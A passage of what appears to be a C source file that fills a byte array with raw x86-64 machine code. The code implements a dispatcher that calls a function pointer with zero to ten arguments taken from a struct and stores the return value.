(p)[ 680]=0x8B; (p)[ 681]=0x45; (p)[ 682]=0x10; (p)[ 683]=0x48; (p)[ 684]=0x8B; (p)[ 685]=0x40; (p)[ 686]=0x18; (p)[ 687]=0x48; \
(p)[ 688]=0x89; (p)[ 689]=0xC2; (p)[ 690]=0x48; (p)[ 691]=0x8B; (p)[ 692]=0x45; (p)[ 693]=0x10; (p)[ 694]=0x48; (p)[ 695]=0x8B; \
(p)[ 696]=0x40; (p)[ 697]=0x10; (p)[ 698]=0x89; (p)[ 699]=0xC1; (p)[ 700]=0x8B; (p)[ 701]=0x45; (p)[ 702]=0xFC; (p)[ 703]=0x41; \
(p)[ 704]=0x89; (p)[ 705]=0xC1; (p)[ 706]=0x48; (p)[ 707]=0x8B; (p)[ 708]=0x05; (p)[ 709]=0x00; (p)[ 710]=0x00; (p)[ 711]=0x00; \
(p)[ 712]=0x00; (p)[ 713]=0xFF; (p)[ 714]=0xD0; (p)[ 715]=0x89; (p)[ 716]=0x45; (p)[ 717]=0xF8; (p)[ 718]=0x8B; (p)[ 719]=0x55; \
(p)[ 720]=0xF8; (p)[ 721]=0x48; (p)[ 722]=0x8B; (p)[ 723]=0x45; (p)[ 724]=0x10; (p)[ 725]=0x48; (p)[ 726]=0x89; (p)[ 727]=0x50; \
(p)[ 728]=0x60; (p)[ 729]=0x90; (p)[ 730]=0x48; (p)[ 731]=0x83; (p)[ 732]=0xC4; (p)[ 733]=0x30; (p)[ 734]=0x5D; (p)[ 735]=0xC3; \
(p)[ 736]=0x55; (p)[ 737]=0x48; (p)[ 738]=0x89; (p)[ 739]=0xE5; (p)[ 740]=0x48; (p)[ 741]=0x83; (p)[ 742]=0xEC; (p)[ 743]=0x50; \
(p)[ 744]=0x48; (p)[ 745]=0x89; (p)[ 746]=0x4D; (p)[ 747]=0x10; (p)[ 748]=0x48; (p)[ 749]=0x8B; (p)[ 750]=0x45; (p)[ 751]=0x10; \
(p)[ 752]=0x48; (p)[ 753]=0x8B; (p)[ 754]=0x40; (p)[ 755]=0x10; (p)[ 756]=0x48; (p)[ 757]=0x89; (p)[ 758]=0x45; (p)[ 759]=0xF8; \
(p)[ 760]=0x48; (p)[ 761]=0x8B; (p)[ 762]=0x45; (p)[ 763]=0x10; (p)[ 764]=0x48; (p)[ 765]=0x8B; (p)[ 766]=0x40; (p)[ 767]=0x18; \
(p)[ 768]=0x48; (p)[ 769]=0x89; (p)[ 770]=0x45; (p)[ 771]=0xF0; (p)[ 772]=0x48; (p)[ 773]=0x8B; (p)[ 774]=0x45; (p)[ 775]=0x10; \
(p)[ 776]=0x48; (p)[ 777]=0x8B; (p)[ 778]=0x40; (p)[ 779]=0x20; (p)[ 780]=0x89; (p)[ 781]=0x45; (p)[ 782]=0xEC; (p)[ 783]=0x48; \
(p)[ 784]=0x8B; (p)[ 785]=0x45; (p)[ 786]=0x10; (p)[ 787]=0x48; (p)[ 788]=0x8B; (p)[ 789]=0x40; (p)[ 790]=0x28; (p)[ 791]=0x48; \
(p)[ 792]=0x89; (p)[ 793]=0x45; (p)[ 794]=0xE0; (p)[ 795]=0x4C; (p)[ 796]=0x8B; (p)[ 797]=0x45; (p)[ 798]=0xE0; (p)[ 799]=0x8B; \
(p)[ 800]=0x4D; (p)[ 801]=0xEC; (p)[ 802]=0x48; (p)[ 803]=0x8B; (p)[ 804]=0x55; (p)[ 805]=0xF0; (p)[ 806]=0x48; (p)[ 807]=0x8B; \
(p)[ 808]=0x45; (p)[ 809]=0xF8; (p)[ 810]=0x4D; (p)[ 811]=0x89; (p)[ 812]=0xC1; (p)[ 813]=0x41; (p)[ 814]=0x89; (p)[ 815]=0xC8; \
(p)[ 816]=0x48; (p)[ 817]=0x89; (p)[ 818]=0xC1; (p)[ 819]=0x48; (p)[ 820]=0x8B; (p)[ 821]=0x05; (p)[ 822]=0x00; (p)[ 823]=0x00; \
(p)[ 824]=0x00; (p)[ 825]=0x00; (p)[ 826]=0xFF; (p)[ 827]=0xD0; (p)[ 828]=0x89; (p)[ 829]=0x45; (p)[ 830]=0xDC; (p)[ 831]=0x8B; \
(p)[ 832]=0x45; (p)[ 833]=0xDC; (p)[ 834]=0x48; (p)[ 835]=0x63; (p)[ 836]=0xD0; (p)[ 837]=0x48; (p)[ 838]=0x8B; (p)[ 839]=0x45; \
(p)[ 840]=0x10; (p)[ 841]=0x48; (p)[ 842]=0x89; (p)[ 843]=0x50; (p)[ 844]=0x60; (p)[ 845]=0x90; (p)[ 846]=0x48; (p)[ 847]=0x83; \
(p)[ 848]=0xC4; (p)[ 849]=0x50; (p)[ 850]=0x5D; (p)[ 851]=0xC3; (p)[ 852]=0x55; (p)[ 853]=0x41; (p)[ 854]=0x54; (p)[ 855]=0x57; \
(p)[ 856]=0x56; (p)[ 857]=0x53; (p)[ 858]=0x48; (p)[ 859]=0x83; (p)[ 860]=0xEC; (p)[ 861]=0x50; (p)[ 862]=0x48; (p)[ 863]=0x8D; \
(p)[ 864]=0x6C; (p)[ 865]=0x24; (p)[ 866]=0x50; (p)[ 867]=0x48; (p)[ 868]=0x89; (p)[ 869]=0x4D; (p)[ 870]=0x30; (p)[ 871]=0x48; \
(p)[ 872]=0x8B; (p)[ 873]=0x45; (p)[ 874]=0x30; (p)[ 875]=0x8B; (p)[ 876]=0x40; (p)[ 877]=0x0C; (p)[ 878]=0x83; (p)[ 879]=0xF8; \
(p)[ 880]=0x0A; (p)[ 881]=0x0F; (p)[ 882]=0x84; (p)[ 883]=0x8B; (p)[ 884]=0x03; (p)[ 885]=0x00; (p)[ 886]=0x00; (p)[ 887]=0x83; \
(p)[ 888]=0xF8; (p)[ 889]=0x0A; (p)[ 890]=0x0F; (p)[ 891]=0x87; (p)[ 892]=0x0F; (p)[ 893]=0x04; (p)[ 894]=0x00; (p)[ 895]=0x00; \
(p)[ 896]=0x83; (p)[ 897]=0xF8; (p)[ 898]=0x09; (p)[ 899]=0x0F; (p)[ 900]=0x84; (p)[ 901]=0xF6; (p)[ 902]=0x02; (p)[ 903]=0x00; \
(p)[ 904]=0x00; (p)[ 905]=0x83; (p)[ 906]=0xF8; (p)[ 907]=0x09; (p)[ 908]=0x0F; (p)[ 909]=0x87; (p)[ 910]=0xFD; (p)[ 911]=0x03; \
(p)[ 912]=0x00; (p)[ 913]=0x00; (p)[ 914]=0x83; (p)[ 915]=0xF8; (p)[ 916]=0x08; (p)[ 917]=0x0F; (p)[ 918]=0x84; (p)[ 919]=0x6E; \
(p)[ 920]=0x02; (p)[ 921]=0x00; (p)[ 922]=0x00; (p)[ 923]=0x83; (p)[ 924]=0xF8; (p)[ 925]=0x08; (p)[ 926]=0x0F; (p)[ 927]=0x87; \
(p)[ 928]=0xEB; (p)[ 929]=0x03; (p)[ 930]=0x00; (p)[ 931]=0x00; (p)[ 932]=0x83; (p)[ 933]=0xF8; (p)[ 934]=0x07; (p)[ 935]=0x0F; \
(p)[ 936]=0x84; (p)[ 937]=0xF3; (p)[ 938]=0x01; (p)[ 939]=0x00; (p)[ 940]=0x00; (p)[ 941]=0x83; (p)[ 942]=0xF8; (p)[ 943]=0x07; \
(p)[ 944]=0x0F; (p)[ 945]=0x87; (p)[ 946]=0xD9; (p)[ 947]=0x03; (p)[ 948]=0x00; (p)[ 949]=0x00; (p)[ 950]=0x83; (p)[ 951]=0xF8; \
(p)[ 952]=0x06; (p)[ 953]=0x0F; (p)[ 954]=0x84; (p)[ 955]=0x87; (p)[ 956]=0x01; (p)[ 957]=0x00; (p)[ 958]=0x00; (p)[ 959]=0x83; \
(p)[ 960]=0xF8; (p)[ 961]=0x06; (p)[ 962]=0x0F; (p)[ 963]=0x87; (p)[ 964]=0xC7; (p)[ 965]=0x03; (p)[ 966]=0x00; (p)[ 967]=0x00; \
(p)[ 968]=0x83; (p)[ 969]=0xF8; (p)[ 970]=0x05; (p)[ 971]=0x0F; (p)[ 972]=0x84; (p)[ 973]=0x2B; (p)[ 974]=0x01; (p)[ 975]=0x00; \
(p)[ 976]=0x00; (p)[ 977]=0x83; (p)[ 978]=0xF8; (p)[ 979]=0x05; (p)[ 980]=0x0F; (p)[ 981]=0x87; (p)[ 982]=0xB5; (p)[ 983]=0x03; \
(p)[ 984]=0x00; (p)[ 985]=0x00; (p)[ 986]=0x83; (p)[ 987]=0xF8; (p)[ 988]=0x04; (p)[ 989]=0x0F; (p)[ 990]=0x84; (p)[ 991]=0xD6; \
(p)[ 992]=0x00; (p)[ 993]=0x00; (p)[ 994]=0x00; (p)[ 995]=0x83; (p)[ 996]=0xF8; (p)[ 997]=0x04; (p)[ 998]=0x0F; (p)[ 999]=0x87; \
(p)[1000]=0xA3; (p)[1001]=0x03; (p)[1002]=0x00; (p)[1003]=0x00; (p)[1004]=0x83; (p)[1005]=0xF8; (p)[1006]=0x03; (p)[1007]=0x0F; \
(p)[1008]=0x84; (p)[1009]=0x8C; (p)[1010]=0x00; (p)[1011]=0x00; (p)[1012]=0x00; (p)[1013]=0x83; (p)[1014]=0xF8; (p)[1015]=0x03; \
(p)[1016]=0x0F; (p)[1017]=0x87; (p)[1018]=0x91; (p)[1019]=0x03; (p)[1020]=0x00; (p)[1021]=0x00; (p)[1022]=0x83; (p)[1023]=0xF8; \
(p)[1024]=0x02; (p)[1025]=0x74; (p)[1026]=0x51; (p)[1027]=0x83; (p)[1028]=0xF8; (p)[1029]=0x02; (p)[1030]=0x0F; (p)[1031]=0x87; \
(p)[1032]=0x83; (p)[1033]=0x03; (p)[1034]=0x00; (p)[1035]=0x00; (p)[1036]=0x85; (p)[1037]=0xC0; (p)[1038]=0x74; (p)[1039]=0x0A; \
(p)[1040]=0x83; (p)[1041]=0xF8; (p)[1042]=0x01; (p)[1043]=0x74; (p)[1044]=0x1B; (p)[1045]=0xE9; (p)[1046]=0x75; (p)[1047]=0x03; \
(p)[1048]=0x00; (p)[1049]=0x00; (p)[1050]=0x48; (p)[1051]=0x8B; (p)[1052]=0x45; (p)[1053]=0x30; (p)[1054]=0x48; (p)[1055]=0x8B; \
(p)[1056]=0x00; (p)[1057]=0xFF; (p)[1058]=0xD0; (p)[1059]=0x48; (p)[1060]=0x8B; (p)[1061]=0x55; (p)[1062]=0x30; (p)[1063]=0x48; \
(p)[1064]=0x89; (p)[1065]=0x42; (p)[1066]=0x60; (p)[1067]=0xE9; (p)[1068]=0x5F; (p)[1069]=0x03; (p)[1070]=0x00; (p)[1071]=0x00; \
(p)[1072]=0x48; (p)[1073]=0x8B; (p)[1074]=0x45; (p)[1075]=0x30; (p)[1076]=0x48; (p)[1077]=0x8B; (p)[1078]=0x00; (p)[1079]=0x48; \
(p)[1080]=0x89; (p)[1081]=0xC2; (p)[1082]=0x48; (p)[1083]=0x8B; (p)[1084]=0x45; (p)[1085]=0x30; (p)[1086]=0x48; (p)[1087]=0x8B; \
(p)[1088]=0x40; (p)[1089]=0x10; (p)[1090]=0x48; (p)[1091]=0x89; (p)[1092]=0xC1; (p)[1093]=0xFF; (p)[1094]=0xD2; (p)[1095]=0x48; \
(p)[1096]=0x8B; (p)[1097]=0x55; (p)[1098]=0x30; (p)[1099]=0x48; (p)[1100]=0x89; (p)[1101]=0x42; (p)[1102]=0x60; (p)[1103]=0xE9; \
(p)[1104]=0x3B; (p)[1105]=0x03; (p)[1106]=0x00; (p)[1107]=0x00; (p)[1108]=0x48; (p)[1109]=0x8B; (p)[1110]=0x45; (p)[1111]=0x30; \
(p)[1112]=0x48; (p)[1113]=0x8B; (p)[1114]=0x00; (p)[1115]=0x49; (p)[1116]=0x89; (p)[1117]=0xC0; (p)[1118]=0x48; (p)[1119]=0x8B; \
(p)[1120]=0x45; (p)[1121]=0x30; (p)[1122]=0x48; (p)[1123]=0x8B; (p)[1124]=0x50; (p)[1125]=0x18; (p)[1126]=0x48; (p)[1127]=0x8B; \
(p)[1128]=0x45; (p)[1129]=0x30; (p)[1130]=0x48; (p)[1131]=0x8B; (p)[1132]=0x40; (p)[1133]=0x10; (p)[1134]=0x48; (p)[1135]=0x89; \
(p)[1136]=0xC1; (p)[1137]=0x41; (p)[1138]=0xFF; (p)[1139]=0xD0; (p)[1140]=0x48; (p)[1141]=0x8B; (p)[1142]=0x55; (p)[1143]=0x30; \
(p)[1144]=0x48; (p)[1145]=0x89; (p)[1146]=0x42; (p)[1147]=0x60; (p)[1148]=0xE9; (p)[1149]=0x0E; (p)[1150]=0x03; (p)[1151]=0x00; \
(p)[1152]=0x00; (p)[1153]=0x48; (p)[1154]=0x8B; (p)[1155]=0x45; (p)[1156]=0x30; (p)[1157]=0x48; (p)[1158]=0x8B; (p)[1159]=0x00; \
(p)[1160]=0x49; (p)[1161]=0x89; (p)[1162]=0xC1; (p)[1163]=0x48; (p)[1164]=0x8B; (p)[1165]=0x45; (p)[1166]=0x30; (p)[1167]=0x48; \
(p)[1168]=0x8B; (p)[1169]=0x48; (p)[1170]=0x20; (p)[1171]=0x48; (p)[1172]=0x8B; (p)[1173]=0x45; (p)[1174]=0x30; (p)[1175]=0x48; \
(p)[1176]=0x8B; (p)[1177]=0x50; (p)[1178]=0x18; (p)[1179]=0x48; (p)[1180]=0x8B; (p)[1181]=0x45; (p)[1182]=0x30; (p)[1183]=0x48; \
(p)[1184]=0x8B; (p)[1185]=0x40; (p)[1186]=0x10; (p)[1187]=0x49; (p)[1188]=0x89; (p)[1189]=0xC8; (p)[1190]=0x48; (p)[1191]=0x89; \
(p)[1192]=0xC1; (p)[1193]=0x41; (p)[1194]=0xFF; (p)[1195]=0xD1; (p)[1196]=0x48; (p)[1197]=0x8B; (p)[1198]=0x55; (p)[1199]=0x30; \
(p)[1200]=0x48; (p)[1201]=0x89; (p)[1202]=0x42; (p)[1203]=0x60; (p)[1204]=0xE9; (p)[1205]=0xD6; (p)[1206]=0x02; (p)[1207]=0x00; \
(p)[1208]=0x00; (p)[1209]=0x48; (p)[1210]=0x8B; (p)[1211]=0x45; (p)[1212]=0x30; (p)[1213]=0x48; (p)[1214]=0x8B; (p)[1215]=0x00; \
(p)[1216]=0x49; (p)[1217]=0x89; (p)[1218]=0xC2; (p)[1219]=0x48; (p)[1220]=0x8B; (p)[1221]=0x45; (p)[1222]=0x30; (p)[1223]=0x4C; \
(p)[1224]=0x8B; (p)[1225]=0x40; (p)[1226]=0x28; (p)[1227]=0x48; (p)[1228]=0x8B; (p)[1229]=0x45; (p)[1230]=0x30; (p)[1231]=0x48; \
(p)[1232]=0x8B; (p)[1233]=0x48; (p)[1234]=0x20; (p)[1235]=0x48; (p)[1236]=0x8B; (p)[1237]=0x45; (p)[1238]=0x30; (p)[1239]=0x48; \
(p)[1240]=0x8B; (p)[1241]=0x50; (p)[1242]=0x18; (p)[1243]=0x48; (p)[1244]=0x8B; (p)[1245]=0x45; (p)[1246]=0x30; (p)[1247]=0x48; \
(p)[1248]=0x8B; (p)[1249]=0x40; (p)[1250]=0x10; (p)[1251]=0x4D; (p)[1252]=0x89; (p)[1253]=0xC1; (p)[1254]=0x49; (p)[1255]=0x89; \
(p)[1256]=0xC8; (p)[1257]=0x48; (p)[1258]=0x89; (p)[1259]=0xC1; (p)[1260]=0x41; (p)[1261]=0xFF; (p)[1262]=0xD2; (p)[1263]=0x48; \
(p)[1264]=0x8B; (p)[1265]=0x55; (p)[1266]=0x30; (p)[1267]=0x48; (p)[1268]=0x89; (p)[1269]=0x42; (p)[1270]=0x60; (p)[1271]=0xE9; \
(p)[1272]=0x93; (p)[1273]=0x02; (p)[1274]=0x00; (p)[1275]=0x00; (p)[1276]=0x48; (p)[1277]=0x8B; (p)[1278]=0x45; (p)[1279]=0x30; \
(p)[1280]=0x48; (p)[1281]=0x8B; (p)[1282]=0x00; (p)[1283]=0x49; (p)[1284]=0x89; (p)[1285]=0xC2; (p)[1286]=0x48; (p)[1287]=0x8B; \
(p)[1288]=0x45; (p)[1289]=0x30; (p)[1290]=0x48; (p)[1291]=0x8B; (p)[1292]=0x48; (p)[1293]=0x30; (p)[1294]=0x48; (p)[1295]=0x8B; \
(p)[1296]=0x45; (p)[1297]=0x30; (p)[1298]=0x4C; (p)[1299]=0x8B; (p)[1300]=0x48; (p)[1301]=0x28; (p)[1302]=0x48; (p)[1303]=0x8B; \
(p)[1304]=0x45; (p)[1305]=0x30; (p)[1306]=0x4C; (p)[1307]=0x8B; (p)[1308]=0x40; (p)[1309]=0x20; (p)[1310]=0x48; (p)[1311]=0x8B; \
(p)[1312]=0x45; (p)[1313]=0x30; (p)[1314]=0x48; (p)[1315]=0x8B; (p)[1316]=0x50; (p)[1317]=0x18; (p)[1318]=0x48; (p)[1319]=0x8B; \
(p)[1320]=0x45; (p)[1321]=0x30; (p)[1322]=0x48; (p)[1323]=0x8B; (p)[1324]=0x40; (p)[1325]=0x10; (p)[1326]=0x48; (p)[1327]=0x89; \
(p)[1328]=0x4C; (p)[1329]=0x24; (p)[1330]=0x20; (p)[1331]=0x48; (p)[1332]=0x89; (p)[1333]=0xC1; (p)[1334]=0x41; (p)[1335]=0xFF; \
(p)[1336]=0xD2; (p)[1337]=0x48; (p)[1338]=0x8B; (p)[1339]=0x55; (p)[1340]=0x30; (p)[1341]=0x48; (p)[1342]=0x89; (p)[1343]=0x42; \
(p)[1344]=0x60; (p)[1345]=0xE9; (p)[1346]=0x49; (p)[1347]=0x02; (p)[1348]=0x00; (p)[1349]=0x00; (p)[1350]=0x48; (p)[1351]=0x8B; \
(p)[1352]=0x45; (p)[1353]=0x30; (p)[1354]=0x48; (p)[1355]=0x8B; (p)[1356]=0x00; (p)[1357]=0x49; (p)[1358]=0x89; (p)[1359]=0xC3; \
(p)[1360]=0x48; (p)[1361]=0x8B; (p)[1362]=0x45; (p)[1363]=0x30; (p)[1364]=0x4C; (p)[1365]=0x8B; (p)[1366]=0x40; (p)[1367]=0x38; \
(p)[1368]=0x48; (p)[1369]=0x8B; (p)[1370]=0x45; (p)[1371]=0x30; (p)[1372]=0x48; (p)[1373]=0x8B; (p)[1374]=0x48; (p)[1375]=0x30; \
(p)[1376]=0x48; (p)[1377]=0x8B; (p)[1378]=0x45; (p)[1379]=0x30; (p)[1380]=0x4C; (p)[1381]=0x8B; (p)[1382]=0x48; (p)[1383]=0x28; \
(p)[1384]=0x48; (p)[1385]=0x8B; (p)[1386]=0x45; (p)[1387]=0x30; (p)[1388]=0x4C; (p)[1389]=0x8B; (p)[1390]=0x50; (p)[1391]=0x20; \
(p)[1392]=0x48; (p)[1393]=0x8B; (p)[1394]=0x45; (p)[1395]=0x30; (p)[1396]=0x48; (p)[1397]=0x8B; (p)[1398]=0x50; (p)[1399]=0x18; \
(p)[1400]=0x48; (p)[1401]=0x8B; (p)[1402]=0x45; (p)[1403]=0x30; (p)[1404]=0x48; (p)[1405]=0x8B; (p)[1406]=0x40; (p)[1407]=0x10; \
(p)[1408]=0x4C; (p)[1409]=0x89; (p)[1410]=0x44; (p)[1411]=0x24; (p)[1412]=0x28; (p)[1413]=0x48; (p)[1414]=0x89; (p)[1415]=0x4C; \
(p)[1416]=0x24; (p)[1417]=0x20; (p)[1418]=0x4D; (p)[1419]=0x89; (p)[1420]=0xD0; (p)[1421]=0x48; (p)[1422]=0x89; (p)[1423]=0xC1; \
(p)[1424]=0x41; (p)[1425]=0xFF; (p)[1426]=0xD3; (p)[1427]=0x48; (p)[1428]=0x8B; (p)[1429]=0x55; (p)[1430]=0x30; (p)[1431]=0x48; \
(p)[1432]=0x89; (p)[1433]=0x42; (p)[1434]=0x60; (p)[1435]=0xE9; (p)[1436]=0xEF; (p)[1437]=0x01; (p)[1438]=0x00; (p)[1439]=0x00; \
(p)[1440]=0x48; (p)[1441]=0x8B; (p)[1442]=0x45; (p)[1443]=0x30; (p)[1444]=0x48; (p)[1445]=0x8B; (p)[1446]=0x00; (p)[1447]=0x48; \
(p)[1448]=0x89; (p)[1449]=0xC3; (p)[1450]=0x48; (p)[1451]=0x8B; (p)[1452]=0x45; (p)[1453]=0x30; (p)[1454]=0x4C; (p)[1455]=0x8B; \
(p)[1456]=0x48; (p)[1457]=0x40; (p)[1458]=0x48; (p)[1459]=0x8B; (p)[1460]=0x45; (p)[1461]=0x30; (p)[1462]=0x4C; (p)[1463]=0x8B; \
(p)[1464]=0x40; (p)[1465]=0x38; (p)[1466]=0x48; (p)[1467]=0x8B; (p)[1468]=0x45; (p)[1469]=0x30; (p)[1470]=0x48; (p)[1471]=0x8B; \
(p)[1472]=0x48; (p)[1473]=0x30; (p)[1474]=0x48; (p)[1475]=0x8B; (p)[1476]=0x45; (p)[1477]=0x30; (p)[1478]=0x4C; (p)[1479]=0x8B; \
(p)[1480]=0x58; (p)[1481]=0x28; (p)[1482]=0x48; (p)[1483]=0x8B; (p)[1484]=0x45; (p)[1485]=0x30; (p)[1486]=0x4C; (p)[1487]=0x8B; \
(p)[1488]=0x50; (p)[1489]=0x20; (p)[1490]=0x48; (p)[1491]=0x8B; (p)[1492]=0x45; (p)[1493]=0x30; (p)[1494]=0x48; (p)[1495]=0x8B; \
(p)[1496]=0x50; (p)[1497]=0x18; (p)[1498]=0x48; (p)[1499]=0x8B; (p)[1500]=0x45; (p)[1501]=0x30; (p)[1502]=0x48; (p)[1503]=0x8B; \
(p)[1504]=0x40; (p)[1505]=0x10; (p)[1506]=0x4C; (p)[1507]=0x89; (p)[1508]=0x4C; (p)[1509]=0x24; (p)[1510]=0x30; (p)[1511]=0x4C; \
(p)[1512]=0x89; (p)[1513]=0x44; (p)[1514]=0x24; (p)[1515]=0x28; (p)[1516]=0x48; (p)[1517]=0x89; (p)[1518]=0x4C; (p)[1519]=0x24; \
(p)[1520]=0x20; (p)[1521]=0x4D; (p)[1522]=0x89; (p)[1523]=0xD9; (p)[1524]=0x4D; (p)[1525]=0x89; (p)[1526]=0xD0; (p)[1527]=0x48; \
(p)[1528]=0x89; (p)[1529]=0xC1; (p)[1530]=0xFF; (p)[1531]=0xD3; (p)[1532]=0x48; (p)[1533]=0x8B; (p)[1534]=0x55; (p)[1535]=0x30; \
(p)[1536]=0x48; (p)[1537]=0x89; (p)[1538]=0x42; (p)[1539]=0x60; (p)[1540]=0xE9; (p)[1541]=0x86; (p)[1542]=0x01; (p)[1543]=0x00; \
(p)[1544]=0x00; (p)[1545]=0x48; (p)[1546]=0x8B; (p)[1547]=0x45; (p)[1548]=0x30; (p)[1549]=0x48; (p)[1550]=0x8B; (p)[1551]=0x00; \
(p)[1552]=0x48; (p)[1553]=0x89; (p)[1554]=0xC6; (p)[1555]=0x48; (p)[1556]=0x8B; (p)[1557]=0x45; (p)[1558]=0x30; (p)[1559]=0x4C; \
(p)[1560]=0x8B; (p)[1561]=0x50; (p)[1562]=0x48; (p)[1563]=0x48; (p)[1564]=0x8B; (p)[1565]=0x45; (p)[1566]=0x30; (p)[1567]=0x4C; \
(p)[1568]=0x8B; (p)[1569]=0x48; (p)[1570]=0x40; (p)[1571]=0x48; (p)[1572]=0x8B; (p)[1573]=0x45; (p)[1574]=0x30; (p)[1575]=0x4C; \
(p)[1576]=0x8B; (p)[1577]=0x40; (p)[1578]=0x38; (p)[1579]=0x48; (p)[1580]=0x8B; (p)[1581]=0x45; (p)[1582]=0x30; (p)[1583]=0x48; \
(p)[1584]=0x8B; (p)[1585]=0x48; (p)[1586]=0x30; (p)[1587]=0x48; (p)[1588]=0x8B; (p)[1589]=0x45; (p)[1590]=0x30; (p)[1591]=0x48; \
(p)[1592]=0x8B; (p)[1593]=0x58; (p)[1594]=0x28; (p)[1595]=0x48; (p)[1596]=0x8B; (p)[1597]=0x45; (p)[1598]=0x30; (p)[1599]=0x4C; \
(p)[1600]=0x8B; (p)[1601]=0x58; (p)[1602]=0x20; (p)[1603]=0x48; (p)[1604]=0x8B; (p)[1605]=0x45; (p)[1606]=0x30; (p)[1607]=0x48; \
(p)[1608]=0x8B; (p)[1609]=0x50; (p)[1610]=0x18; (p)[1611]=0x48; (p)[1612]=0x8B; (p)[1613]=0x45; (p)[1614]=0x30; (p)[1615]=0x48; \
(p)[1616]=0x8B; (p)[1617]=0x40; (p)[1618]=0x10; (p)[1619]=0x4C; (p)[1620]=0x89; (p)[1621]=0x54; (p)[1622]=0x24; (p)[1623]=0x38; \
(p)[1624]=0x4C; (p)[1625]=0x89; (p)[1626]=0x4C; (p)[1627]=0x24; (p)[1628]=0x30; (p)[1629]=0x4C; (p)[1630]=0x89; (p)[1631]=0x44; \
(p)[1632]=0x24; (p)[1633]=0x28; (p)[1634]=0x48; (p)[1635]=0x89; (p)[1636]=0x4C; (p)[1637]=0x24; (p)[1638]=0x20; (p)[1639]=0x49; \
(p)[1640]=0x89; (p)[1641]=0xD9; (p)[1642]=0x4D; (p)[1643]=0x89; (p)[1644]=0xD8; (p)[1645]=0x48; (p)[1646]=0x89; (p)[1647]=0xC1; \
(p)[1648]=0xFF; (p)[1649]=0xD6; (p)[1650]=0x48; (p)[1651]=0x8B; (p)[1652]=0x55; (p)[1653]=0x30; (p)[1654]=0x48; (p)[1655]=0x89; \
(p)[1656]=0x42; (p)[1657]=0x60; (p)[1658]=0xE9; (p)[1659]=0x10; (p)[1660]=0x01; (p)[1661]=0x00; (p)[1662]=0x00; (p)[1663]=0x48; \
(p)[1664]=0x8B; (p)[1665]=0x45; (p)[1666]=0x30; (p)[1667]=0x48; (p)[1668]=0x8B; (p)[1669]=0x00; (p)[1670]=0x48; (p)[1671]=0x89; \
(p)[1672]=0xC7; (p)[1673]=0x48; (p)[1674]=0x8B; (p)[1675]=0x45; (p)[1676]=0x30; (p)[1677]=0x4C; (p)[1678]=0x8B; (p)[1679]=0x58; \
(p)[1680]=0x50; (p)[1681]=0x48; (p)[1682]=0x8B; (p)[1683]=0x45; (p)[1684]=0x30; (p)[1685]=0x4C; (p)[1686]=0x8B; (p)[1687]=0x50; \
(p)[1688]=0x48; (p)[1689]=0x48; (p)[1690]=0x8B; (p)[1691]=0x45; (p)[1692]=0x30; (p)[1693]=0x4C; (p)[1694]=0x8B; (p)[1695]=0x48; \
(p)[1696]=0x40; (p)[1697]=0x48; (p)[1698]=0x8B; (p)[1699]=0x45; (p)[1700]=0x30; (p)[1701]=0x4C; (p)[1702]=0x8B; (p)[1703]=0x40; \
(p)[1704]=0x38; (p)[1705]=0x48; (p)[1706]=0x8B; (p)[1707]=0x45; (p)[1708]=0x30; (p)[1709]=0x48; (p)[1710]=0x8B; (p)[1711]=0x48; \
(p)[1712]=0x30; (p)[1713]=0x48; (p)[1714]=0x8B; (p)[1715]=0x45; (p)[1716]=0x30; (p)[1717]=0x48; (p)[1718]=0x8B; (p)[1719]=0x70; \
(p)[1720]=0x28; (p)[1721]=0x48; (p)[1722]=0x8B; (p)[1723]=0x45; (p)[1724]=0x30; (p)[1725]=0x48; (p)[1726]=0x8B; (p)[1727]=0x58; \
(p)[1728]=0x20; (p)[1729]=0x48; (p)[1730]=0x8B; (p)[1731]=0x45; (p)[1732]=0x30; (p)[1733]=0x48; (p)[1734]=0x8B; (p)[1735]=0x50; \
(p)[1736]=0x18; (p)[1737]=0x48; (p)[1738]=0x8B; (p)[1739]=0x45; (p)[1740]=0x30; (p)[1741]=0x48; (p)[1742]=0x8B; (p)[1743]=0x40; \
(p)[1744]=0x10; (p)[1745]=0x4C; (p)[1746]=0x89; (p)[1747]=0x5C; (p)[1748]=0x24; (p)[1749]=0x40; (p)[1750]=0x4C; (p)[1751]=0x89; \
(p)[1752]=0x54; (p)[1753]=0x24; (p)[1754]=0x38; (p)[1755]=0x4C; (p)[1756]=0x89; (p)[1757]=0x4C; (p)[1758]=0x24; (p)[1759]=0x30; \
(p)[1760]=0x4C; (p)[1761]=0x89; (p)[1762]=0x44; (p)[1763]=0x24; (p)[1764]=0x28; (p)[1765]=0x48; (p)[1766]=0x89; (p)[1767]=0x4C; \
(p)[1768]=0x24; (p)[1769]=0x20; (p)[1770]=0x49; (p)[1771]=0x89; (p)[1772]=0xF1; (p)[1773]=0x49; (p)[1774]=0x89; (p)[1775]=0xD8; \
(p)[1776]=0x48; (p)[1777]=0x89; (p)[1778]=0xC1; (p)[1779]=0xFF; (p)[1780]=0xD7; (p)[1781]=0x48; (p)[1782]=0x8B; (p)[1783]=0x55; \
(p)[1784]=0x30; (p)[1785]=0x48; (p)[1786]=0x89; (p)[1787]=0x42; (p)[1788]=0x60; (p)[1789]=0xE9; (p)[1790]=0x8D; (p)[1791]=0x00; \
(p)[1792]=0x00; (p)[1793]=0x00; (p)[1794]=0x48; (p)[1795]=0x8B; (p)[1796]=0x45; (p)[1797]=0x30; (p)[1798]=0x48; (p)[1799]=0x8B; \
(p)[1800]=0x00; (p)[1801]=0x49; (p)[1802]=0x89; (p)[1803]=0xC4; (p)[1804]=0x48; (p)[1805]=0x8B; (p)[1806]=0x45; (p)[1807]=0x30; \
(p)[1808]=0x48; (p)[1809]=0x8B; (p)[1810]=0x58; (p)[1811]=0x58; (p)[1812]=0x48; (p)[1813]=0x8B; (p)[1814]=0x45; (p)[1815]=0x30; \
(p)[1816]=0x4C; (p)[1817]=0x8B; (p)[1818]=0x58; (p)[1819]=0x50; (p)[1820]=0x48; (p)[1821]=0x8B; (p)[1822]=0x45; (p)[1823]=0x30; \
(p)[1824]=0x4C; (p)[1825]=0x8B; (p)[1826]=0x50; (p)[1827]=0x48; (p)[1828]=0x48; (p)[1829]=0x8B; (p)[1830]=0x45; (p)[1831]=0x30; \
(p)[1832]=0x4C; (p)[1833]=0x8B; (p)[1834]=0x48; (p)[1835]=0x40; (p)[1836]=0x48; (p)[1837]=0x8B; (p)[1838]=0x45; (p)[1839]=0x30; \
(p)[1840]=0x4C; (p)[1841]=0x8B; (p)[1842]=0x40; (p)[1843]=0x38; (p)[1844]=0x48; (p)[1845]=0x8B; (p)[1846]=0x45; (p)[1847]=0x30; \
